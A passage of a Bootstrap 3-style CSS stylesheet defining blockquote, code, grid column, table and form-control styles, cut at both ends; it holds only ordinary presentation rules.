margin-left: 180px;\n  }\n}\nabbr[title],\nabbr[data-original-title] {\n  cursor: help;\n  border-bottom: 1px dotted #777;\n}\n.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\nblockquote {\n  padding: 10px 20px;\n  margin: 0 0 20px;\n  font-size: 17.5px;\n  border-left: 5px solid #eee;\n}\nblockquote p:last-child,\nblockquote ul:last-child,\nblockquote ol:last-child {\n  margin-bottom: 0;\n}\nblockquote footer,\nblockquote small,\nblockquote .small {\n  display: block;\n  font-size: 80%;\n  line-height: 1.42857143;\n  color: #777;\n}\nblockquote footer:before,\nblockquote small:before,\nblockquote .small:before {\n  content: '\\2014 \\00A0';\n}\n.blockquote-reverse,\nblockquote.pull-right {\n  padding-right: 15px;\n  padding-left: 0;\n  text-align: right;\n  border-right: 5px solid #eee;\n  border-left: 0;\n}\n.blockquote-reverse footer:before,\nblockquote.pull-right footer:before,\n.blockquote-reverse small:before,\nblockquote.pull-right small:before,\n.blockquote-reverse .small:before,\nblockquote.pull-right .small:before {\n  content: '';\n}\n.blockquote-reverse footer:after,\nblockquote.pull-right footer:after,\n.blockquote-reverse small:after,\nblockquote.pull-right small:after,\n.blockquote-reverse .small:after,\nblockquote.pull-right .small:after {\n  content: '\\00A0 \\2014';\n}\naddress {\n  margin-bottom: 20px;\n  font-style: normal;\n  line-height: 1.42857143;\n}\ncode,\nkbd,\npre,\nsamp {\n  font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n}\ncode {\n  padding: 2px 4px;\n  font-size: 90%;\n  color: #c7254e;\n  background-color: #f9f2f4;\n  border-radius: 4px;\n}\nkbd {\n  padding: 2px 4px;\n  font-size: 90%;\n  color: #fff;\n  background-color: #333;\n  border-radius: 3px;\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25);\n          box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25);\n}\nkbd kbd {\n  padding: 0;\n  font-size: 100%;\n  font-weight: bold;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\npre {\n  display: block;\n  padding: 9.5px;\n  margin: 0 0 10px;\n  font-size: 13px;\n  line-height: 1.42857143;\n  color: #333;\n  word-break: break-all;\n  word-wrap: break-word;\n  background-color: #f5f5f5;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n}\npre code {\n  padding: 0;\n  font-size: inherit;\n  color: inherit;\n  white-space: pre-wrap;\n  background-color: transparent;\n  border-radius: 0;\n}\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n.container {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n@media (min-width: 768px) {\n  .container {\n    width: 750px;\n  }\n}\n@media (min-width: 992px) {\n  .container {\n    width: 970px;\n  }\n}\n@media (min-width: 1200px) {\n  .container {\n    width: 1170px;\n  }\n}\n.container-fluid {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n.row {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {\n  position: relative;\n  min-height: 1px;\n  padding-right: 15px;\n  padding-left: 15px;\n}\n.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {\n  float: left;\n}\n.col-xs-12 {\n  width: 100%;\n}\n.col-xs-11 {\n  width: 91.66666667%;\n}\n.col-xs-10 {\n  width: 83.33333333%;\n}\n.col-xs-9 {\n  width: 75%;\n}\n.col-xs-8 {\n  width: 66.66666667%;\n}\n.col-xs-7 {\n  width: 58.33333333%;\n}\n.col-xs-6 {\n  width: 50%;\n}\n.col-xs-5 {\n  width: 41.66666667%;\n}\n.col-xs-4 {\n  width: 33.33333333%;\n}\n.col-xs-3 {\n  width: 25%;\n}\n.col-xs-2 {\n  width: 16.66666667%;\n}\n.col-xs-1 {\n  width: 8.33333333%;\n}\n.col-xs-pull-12 {\n  right: 100%;\n}\n.col-xs-pull-11 {\n  right: 91.66666667%;\n}\n.col-xs-pull-10 {\n  right: 83.33333333%;\n}\n.col-xs-pull-9 {\n  right: 75%;\n}\n.col-xs-pull-8 {\n  right: 66.66666667%;\n}\n.col-xs-pull-7 {\n  right: 58.33333333%;\n}\n.col-xs-pull-6 {\n  right: 50%;\n}\n.col-xs-pull-5 {\n  right: 41.66666667%;\n}\n.col-xs-pull-4 {\n  right: 33.33333333%;\n}\n.col-xs-pull-3 {\n  right: 25%;\n}\n.col-xs-pull-2 {\n  right: 16.66666667%;\n}\n.col-xs-pull-1 {\n  right: 8.33333333%;\n}\n.col-xs-pull-0 {\n  right: auto;\n}\n.col-xs-push-12 {\n  left: 100%;\n}\n.col-xs-push-11 {\n  left: 91.66666667%;\n}\n.col-xs-push-10 {\n  left: 83.33333333%;\n}\n.col-xs-push-9 {\n  left: 75%;\n}\n.col-xs-push-8 {\n  left: 66.66666667%;\n}\n.col-xs-push-7 {\n  left: 58.33333333%;\n}\n.col-xs-push-6 {\n  left: 50%;\n}\n.col-xs-push-5 {\n  left: 41.66666667%;\n}\n.col-xs-push-4 {\n  left: 33.33333333%;\n}\n.col-xs-push-3 {\n  left: 25%;\n}\n.col-xs-push-2 {\n  left: 16.66666667%;\n}\n.col-xs-push-1 {\n  left: 8.33333333%;\n}\n.col-xs-push-0 {\n  left: auto;\n}\n.col-xs-offset-12 {\n  margin-left: 100%;\n}\n.col-xs-offset-11 {\n  margin-left: 91.66666667%;\n}\n.col-xs-offset-10 {\n  margin-left: 83.33333333%;\n}\n.col-xs-offset-9 {\n  margin-left: 75%;\n}\n.col-xs-offset-8 {\n  margin-left: 66.66666667%;\n}\n.col-xs-offset-7 {\n  margin-left: 58.33333333%;\n}\n.col-xs-offset-6 {\n  margin-left: 50%;\n}\n.col-xs-offset-5 {\n  margin-left: 41.66666667%;\n}\n.col-xs-offset-4 {\n  margin-left: 33.33333333%;\n}\n.col-xs-offset-3 {\n  margin-left: 25%;\n}\n.col-xs-offset-2 {\n  margin-left: 16.66666667%;\n}\n.col-xs-offset-1 {\n  margin-left: 8.33333333%;\n}\n.col-xs-offset-0 {\n  margin-left: 0;\n}\n@media (min-width: 768px) {\n  .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {\n    float: left;\n  }\n  .col-sm-12 {\n    width: 100%;\n  }\n  .col-sm-11 {\n    width: 91.66666667%;\n  }\n  .col-sm-10 {\n    width: 83.33333333%;\n  }\n  .col-sm-9 {\n    width: 75%;\n  }\n  .col-sm-8 {\n    width: 66.66666667%;\n  }\n  .col-sm-7 {\n    width: 58.33333333%;\n  }\n  .col-sm-6 {\n    width: 50%;\n  }\n  .col-sm-5 {\n    width: 41.66666667%;\n  }\n  .col-sm-4 {\n    width: 33.33333333%;\n  }\n  .col-sm-3 {\n    width: 25%;\n  }\n  .col-sm-2 {\n    width: 16.66666667%;\n  }\n  .col-sm-1 {\n    width: 8.33333333%;\n  }\n  .col-sm-pull-12 {\n    right: 100%;\n  }\n  .col-sm-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-sm-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-sm-pull-9 {\n    right: 75%;\n  }\n  .col-sm-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-sm-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-sm-pull-6 {\n    right: 50%;\n  }\n  .col-sm-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-sm-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-sm-pull-3 {\n    right: 25%;\n  }\n  .col-sm-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-sm-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-sm-pull-0 {\n    right: auto;\n  }\n  .col-sm-push-12 {\n    left: 100%;\n  }\n  .col-sm-push-11 {\n    left: 91.66666667%;\n  }\n  .col-sm-push-10 {\n    left: 83.33333333%;\n  }\n  .col-sm-push-9 {\n    left: 75%;\n  }\n  .col-sm-push-8 {\n    left: 66.66666667%;\n  }\n  .col-sm-push-7 {\n    left: 58.33333333%;\n  }\n  .col-sm-push-6 {\n    left: 50%;\n  }\n  .col-sm-push-5 {\n    left: 41.66666667%;\n  }\n  .col-sm-push-4 {\n    left: 33.33333333%;\n  }\n  .col-sm-push-3 {\n    left: 25%;\n  }\n  .col-sm-push-2 {\n    left: 16.66666667%;\n  }\n  .col-sm-push-1 {\n    left: 8.33333333%;\n  }\n  .col-sm-push-0 {\n    left: auto;\n  }\n  .col-sm-offset-12 {\n    margin-left: 100%;\n  }\n  .col-sm-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-sm-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-sm-offset-9 {\n    margin-left: 75%;\n  }\n  .col-sm-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-sm-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-sm-offset-6 {\n    margin-left: 50%;\n  }\n  .col-sm-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-sm-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-sm-offset-3 {\n    margin-left: 25%;\n  }\n  .col-sm-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-sm-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-sm-offset-0 {\n    margin-left: 0;\n  }\n}\n@media (min-width: 992px) {\n  .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {\n    float: left;\n  }\n  .col-md-12 {\n    width: 100%;\n  }\n  .col-md-11 {\n    width: 91.66666667%;\n  }\n  .col-md-10 {\n    width: 83.33333333%;\n  }\n  .col-md-9 {\n    width: 75%;\n  }\n  .col-md-8 {\n    width: 66.66666667%;\n  }\n  .col-md-7 {\n    width: 58.33333333%;\n  }\n  .col-md-6 {\n    width: 50%;\n  }\n  .col-md-5 {\n    width: 41.66666667%;\n  }\n  .col-md-4 {\n    width: 33.33333333%;\n  }\n  .col-md-3 {\n    width: 25%;\n  }\n  .col-md-2 {\n    width: 16.66666667%;\n  }\n  .col-md-1 {\n    width: 8.33333333%;\n  }\n  .col-md-pull-12 {\n    right: 100%;\n  }\n  .col-md-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-md-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-md-pull-9 {\n    right: 75%;\n  }\n  .col-md-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-md-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-md-pull-6 {\n    right: 50%;\n  }\n  .col-md-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-md-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-md-pull-3 {\n    right: 25%;\n  }\n  .col-md-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-md-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-md-pull-0 {\n    right: auto;\n  }\n  .col-md-push-12 {\n    left: 100%;\n  }\n  .col-md-push-11 {\n    left: 91.66666667%;\n  }\n  .col-md-push-10 {\n    left: 83.33333333%;\n  }\n  .col-md-push-9 {\n    left: 75%;\n  }\n  .col-md-push-8 {\n    left: 66.66666667%;\n  }\n  .col-md-push-7 {\n    left: 58.33333333%;\n  }\n  .col-md-push-6 {\n    left: 50%;\n  }\n  .col-md-push-5 {\n    left: 41.66666667%;\n  }\n  .col-md-push-4 {\n    left: 33.33333333%;\n  }\n  .col-md-push-3 {\n    left: 25%;\n  }\n  .col-md-push-2 {\n    left: 16.66666667%;\n  }\n  .col-md-push-1 {\n    left: 8.33333333%;\n  }\n  .col-md-push-0 {\n    left: auto;\n  }\n  .col-md-offset-12 {\n    margin-left: 100%;\n  }\n  .col-md-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-md-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-md-offset-9 {\n    margin-left: 75%;\n  }\n  .col-md-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-md-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-md-offset-6 {\n    margin-left: 50%;\n  }\n  .col-md-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-md-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-md-offset-3 {\n    margin-left: 25%;\n  }\n  .col-md-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-md-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-md-offset-0 {\n    margin-left: 0;\n  }\n}\n@media (min-width: 1200px) {\n  .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {\n    float: left;\n  }\n  .col-lg-12 {\n    width: 100%;\n  }\n  .col-lg-11 {\n    width: 91.66666667%;\n  }\n  .col-lg-10 {\n    width: 83.33333333%;\n  }\n  .col-lg-9 {\n    width: 75%;\n  }\n  .col-lg-8 {\n    width: 66.66666667%;\n  }\n  .col-lg-7 {\n    width: 58.33333333%;\n  }\n  .col-lg-6 {\n    width: 50%;\n  }\n  .col-lg-5 {\n    width: 41.66666667%;\n  }\n  .col-lg-4 {\n    width: 33.33333333%;\n  }\n  .col-lg-3 {\n    width: 25%;\n  }\n  .col-lg-2 {\n    width: 16.66666667%;\n  }\n  .col-lg-1 {\n    width: 8.33333333%;\n  }\n  .col-lg-pull-12 {\n    right: 100%;\n  }\n  .col-lg-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-lg-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-lg-pull-9 {\n    right: 75%;\n  }\n  .col-lg-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-lg-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-lg-pull-6 {\n    right: 50%;\n  }\n  .col-lg-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-lg-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-lg-pull-3 {\n    right: 25%;\n  }\n  .col-lg-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-lg-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-lg-pull-0 {\n    right: auto;\n  }\n  .col-lg-push-12 {\n    left: 100%;\n  }\n  .col-lg-push-11 {\n    left: 91.66666667%;\n  }\n  .col-lg-push-10 {\n    left: 83.33333333%;\n  }\n  .col-lg-push-9 {\n    left: 75%;\n  }\n  .col-lg-push-8 {\n    left: 66.66666667%;\n  }\n  .col-lg-push-7 {\n    left: 58.33333333%;\n  }\n  .col-lg-push-6 {\n    left: 50%;\n  }\n  .col-lg-push-5 {\n    left: 41.66666667%;\n  }\n  .col-lg-push-4 {\n    left: 33.33333333%;\n  }\n  .col-lg-push-3 {\n    left: 25%;\n  }\n  .col-lg-push-2 {\n    left: 16.66666667%;\n  }\n  .col-lg-push-1 {\n    left: 8.33333333%;\n  }\n  .col-lg-push-0 {\n    left: auto;\n  }\n  .col-lg-offset-12 {\n    margin-left: 100%;\n  }\n  .col-lg-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-lg-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-lg-offset-9 {\n    margin-left: 75%;\n  }\n  .col-lg-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-lg-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-lg-offset-6 {\n    margin-left: 50%;\n  }\n  .col-lg-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-lg-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-lg-offset-3 {\n    margin-left: 25%;\n  }\n  .col-lg-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-lg-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-lg-offset-0 {\n    margin-left: 0;\n  }\n}\ntable {\n  background-color: transparent;\n}\ncaption {\n  padding-top: 8px;\n  padding-bottom: 8px;\n  color: #777;\n  text-align: left;\n}\nth {\n  text-align: left;\n}\n.table {\n  width: 100%;\n  max-width: 100%;\n  margin-bottom: 20px;\n}\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n  padding: 8px;\n  line-height: 1.42857143;\n  vertical-align: top;\n  border-top: 1px solid #ddd;\n}\n.table > thead > tr > th {\n  vertical-align: bottom;\n  border-bottom: 2px solid #ddd;\n}\n.table > caption + thead > tr:first-child > th,\n.table > colgroup + thead > tr:first-child > th,\n.table > thead:first-child > tr:first-child > th,\n.table > caption + thead > tr:first-child > td,\n.table > colgroup + thead > tr:first-child > td,\n.table > thead:first-child > tr:first-child > td {\n  border-top: 0;\n}\n.table > tbody + tbody {\n  border-top: 2px solid #ddd;\n}\n.table .table {\n  background-color: #fff;\n}\n.table-condensed > thead > tr > th,\n.table-condensed > tbody > tr > th,\n.table-condensed > tfoot > tr > th,\n.table-condensed > thead > tr > td,\n.table-condensed > tbody > tr > td,\n.table-condensed > tfoot > tr > td {\n  padding: 5px;\n}\n.table-bordered {\n  border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n  border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n  border-bottom-width: 2px;\n}\n.table-striped > tbody > tr:nth-of-type(odd) {\n  background-color: #f9f9f9;\n}\n.table-hover > tbody > tr:hover {\n  background-color: #f5f5f5;\n}\ntable col[class*=\"col-\"] {\n  position: static;\n  display: table-column;\n  float: none;\n}\ntable td[class*=\"col-\"],\ntable th[class*=\"col-\"] {\n  position: static;\n  display: table-cell;\n  float: none;\n}\n.table > thead > tr > td.active,\n.table > tbody > tr > td.active,\n.table > tfoot > tr > td.active,\n.table > thead > tr > th.active,\n.table > tbody > tr > th.active,\n.table > tfoot > tr > th.active,\n.table > thead > tr.active > td,\n.table > tbody > tr.active > td,\n.table > tfoot > tr.active > td,\n.table > thead > tr.active > th,\n.table > tbody > tr.active > th,\n.table > tfoot > tr.active > th {\n  background-color: #f5f5f5;\n}\n.table-hover > tbody > tr > td.active:hover,\n.table-hover > tbody > tr > th.active:hover,\n.table-hover > tbody > tr.active:hover > td,\n.table-hover > tbody > tr:hover > .active,\n.table-hover > tbody > tr.active:hover > th {\n  background-color: #e8e8e8;\n}\n.table > thead > tr > td.success,\n.table > tbody > tr > td.success,\n.table > tfoot > tr > td.success,\n.table > thead > tr > th.success,\n.table > tbody > tr > th.success,\n.table > tfoot > tr > th.success,\n.table > thead > tr.success > td,\n.table > tbody > tr.success > td,\n.table > tfoot > tr.success > td,\n.table > thead > tr.success > th,\n.table > tbody > tr.success > th,\n.table > tfoot > tr.success > th {\n  background-color: #dff0d8;\n}\n.table-hover > tbody > tr > td.success:hover,\n.table-hover > tbody > tr > th.success:hover,\n.table-hover > tbody > tr.success:hover > td,\n.table-hover > tbody > tr:hover > .success,\n.table-hover > tbody > tr.success:hover > th {\n  background-color: #d0e9c6;\n}\n.table > thead > tr > td.info,\n.table > tbody > tr > td.info,\n.table > tfoot > tr > td.info,\n.table > thead > tr > th.info,\n.table > tbody > tr > th.info,\n.table > tfoot > tr > th.info,\n.table > thead > tr.info > td,\n.table > tbody > tr.info > td,\n.table > tfoot > tr.info > td,\n.table > thead > tr.info > th,\n.table > tbody > tr.info > th,\n.table > tfoot > tr.info > th {\n  background-color: #d9edf7;\n}\n.table-hover > tbody > tr > td.info:hover,\n.table-hover > tbody > tr > th.info:hover,\n.table-hover > tbody > tr.info:hover > td,\n.table-hover > tbody > tr:hover > .info,\n.table-hover > tbody > tr.info:hover > th {\n  background-color: #c4e3f3;\n}\n.table > thead > tr > td.warning,\n.table > tbody > tr > td.warning,\n.table > tfoot > tr > td.warning,\n.table > thead > tr > th.warning,\n.table > tbody > tr > th.warning,\n.table > tfoot > tr > th.warning,\n.table > thead > tr.warning > td,\n.table > tbody > tr.warning > td,\n.table > tfoot > tr.warning > td,\n.table > thead > tr.warning > th,\n.table > tbody > tr.warning > th,\n.table > tfoot > tr.warning > th {\n  background-color: #fcf8e3;\n}\n.table-hover > tbody > tr > td.warning:hover,\n.table-hover > tbody > tr > th.warning:hover,\n.table-hover > tbody > tr.warning:hover > td,\n.table-hover > tbody > tr:hover > .warning,\n.table-hover > tbody > tr.warning:hover > th {\n  background-color: #faf2cc;\n}\n.table > thead > tr > td.danger,\n.table > tbody > tr > td.danger,\n.table > tfoot > tr > td.danger,\n.table > thead > tr > th.danger,\n.table > tbody > tr > th.danger,\n.table > tfoot > tr > th.danger,\n.table > thead > tr.danger > td,\n.table > tbody > tr.danger > td,\n.table > tfoot > tr.danger > td,\n.table > thead > tr.danger > th,\n.table > tbody > tr.danger > th,\n.table > tfoot > tr.danger > th {\n  background-color: #f2dede;\n}\n.table-hover > tbody > tr > td.danger:hover,\n.table-hover > tbody > tr > th.danger:hover,\n.table-hover > tbody > tr.danger:hover > td,\n.table-hover > tbody > tr:hover > .danger,\n.table-hover > tbody > tr.danger:hover > th {\n  background-color: #ebcccc;\n}\n.table-responsive {\n  min-height: .01%;\n  overflow-x: auto;\n}\n@media screen and (max-width: 767px) {\n  .table-responsive {\n    width: 100%;\n    margin-bottom: 15px;\n    overflow-y: hidden;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n    border: 1px solid #ddd;\n  }\n  .table-responsive > .table {\n    margin-bottom: 0;\n  }\n  .table-responsive > .table > thead > tr > th,\n  .table-responsive > .table > tbody > tr > th,\n  .table-responsive > .table > tfoot > tr > th,\n  .table-responsive > .table > thead > tr > td,\n  .table-responsive > .table > tbody > tr > td,\n  .table-responsive > .table > tfoot > tr > td {\n    white-space: nowrap;\n  }\n  .table-responsive > .table-bordered {\n    border: 0;\n  }\n  .table-responsive > .table-bordered > thead > tr > th:first-child,\n  .table-responsive > .table-bordered > tbody > tr > th:first-child,\n  .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n  .table-responsive > .table-bordered > thead > tr > td:first-child,\n  .table-responsive > .table-bordered > tbody > tr > td:first-child,\n  .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n    border-left: 0;\n  }\n  .table-responsive > .table-bordered > thead > tr > th:last-child,\n  .table-responsive > .table-bordered > tbody > tr > th:last-child,\n  .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n  .table-responsive > .table-bordered > thead > tr > td:last-child,\n  .table-responsive > .table-bordered > tbody > tr > td:last-child,\n  .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n    border-right: 0;\n  }\n  .table-responsive > .table-bordered > tbody > tr:last-child > th,\n  .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n  .table-responsive > .table-bordered > tbody > tr:last-child > td,\n  .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n    border-bottom: 0;\n  }\n}\nfieldset {\n  min-width: 0;\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\nlegend {\n  display: block;\n  width: 100%;\n  padding: 0;\n  margin-bottom: 20px;\n  font-size: 21px;\n  line-height: inherit;\n  color: #333;\n  border: 0;\n  border-bottom: 1px solid #e5e5e5;\n}\nlabel {\n  display: inline-block;\n  max-width: 100%;\n  margin-bottom: 5px;\n  font-weight: bold;\n}\ninput[type=\"search\"] {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  margin: 4px 0 0;\n  margin-top: 1px \\9;\n  line-height: normal;\n}\ninput[type=\"file\"] {\n  display: block;\n}\ninput[type=\"range\"] {\n  display: block;\n  width: 100%;\n}\nselect[multiple],\nselect[size] {\n  height: auto;\n}\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\noutput {\n  display: block;\n  padding-top: 7px;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #555;\n}\n.form-control {\n  display: block;\n  width: 100%;\n  height: 34px;\n  padding: 6px 12px;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #555;\n  background-color: #fff;\n  background-image: none;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n  -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s;\n       -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n          transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n}\n.form-control:focus {\n  border-color: #66afe9;\n  outline: 0;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);\n          box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);\n}\n.form-control::-moz-placeholder {\n  color: #999;\n  opacity: 1;\n}\n.form-control:-ms-input-placeholder {\n  color: #999;\n}\n.form-control::-webkit-input-placeholder {\n  color: #999;\n}\n.form-control[disabled],\n.form-control[readonly],\nfieldset[disabled] .form-control {\n  background-color: #eee;\n  opacity: 1;\n}\n.form-control[disabled],\nfieldset[disabled] .form-control {\n  cursor: not-allowed;\n}\ntextarea.form-control {\n  height: auto;\n}\ninput[type=\"search\"] {\n  -webkit-appearance: none;\n}\n@media screen and (-webkit-min-device-pixel-ratio: 0) {\n  input[type=\"date\"].form-control,\n  input[type=\"time\"].form-control,\n  input[type=\"datetime-local\"].form-control,\n  input[type=\"month\"].form-control {\n    line-height: 34px;\n  }\n  input[type=\"date\"].input-sm,\n  input[type=\"time\"].input-sm,\n  input[type=\"datetime-local\"].input-sm,\n  input[type=\"month\"].input-sm,\n  .input-group-sm input[type=\"date\"],\n  .input-group-sm input[type=\"time\"],\n  .input-group-sm input[type=\"datetime-local\"],\n  .input-group-sm input[type=\"month\"] {\n    line-height: 30px;\n  }\n  input[type=\"date\"].input-lg,\n  input[type=\"time\"].input-lg,\n  input[type=\"datetime-local\"].input-lg,\n  input[type=\"month\"].input-lg,\n  .input-group-lg input[type=\"date\"],\n  .input-group-lg input[type=\"time\"],\n  .input-group-lg input[type=\"datetime-local\"],\n  .input-group-lg input[type=\"month\"] {\n    line-height: 46px;\n  }\n}\n.form-group {\n  margin-bottom: 15px;\n}\n.radio,\n.checkbox {\n  position: relative;\n  display: block;\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n.radio label,\n.checkbox label {\n  min-height: 20px;\n  padding-left: 20px;\n  margin-bottom: 0;\n  font-weight: normal;\n  cursor: pointer;\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n  position: absolute;\n  margin-top: 4px \\9;\n  margin-left: -20px;\n}\n.radio + .radio,\n.checkbox + .checkbox {\n  margin-top: -5px;\n}\n.radio-inline,\n.checkbox-inline {\n  position: relative;\n  display: inline-block;\n  padding-left: 20px;\n  margin-bottom: 0;\n  font-weight: normal;\n  vertical-align: middle;\n  cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n  margin-top: 0;\n  margin-left: 10px;\n}\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"].disabled,\ninput[type=\"checkbox\"].disabled,\nfieldset[disabled] input[type=\"radio\"],\nfieldset[disabled] input[type=\"checkbox\"] {\n  cursor: not-allowed;\n}\n.radio-inline.disabled,\n.checkbox-inline.disabled,\nfieldset[disabled] .radio-inline,\nfieldset[disabled] .checkbox-inline {\n  cursor: not-allowed;\n}\n.radio.disabled label,\n.checkbox.disabled label,\nfieldset[disabled] .radio label,\nfieldset[disabled] .checkbox label {\n  cursor: not-allowed;\n}\n.form-control-static {\n  min-height: 34px;\n  padding-top: 7px;\n  padding-bottom: 7px;\n  margin-bottom: 0;\n}\n.form-control-static.input-lg,\n.form-control-static.input-sm {\n  padding-right: 0;\n  padding-left: 0;\n}\n.input-sm {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\nselect.input-sm {\n  height: 30px;\n  line-height: 30px;\n}\ntextarea.input-sm,\nselect[multiple].input-sm {\n  height: auto;\n}\n.form-group-sm .form-control {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n.form-group-sm select.form-control {\n  height: 30px;\n  line-height: 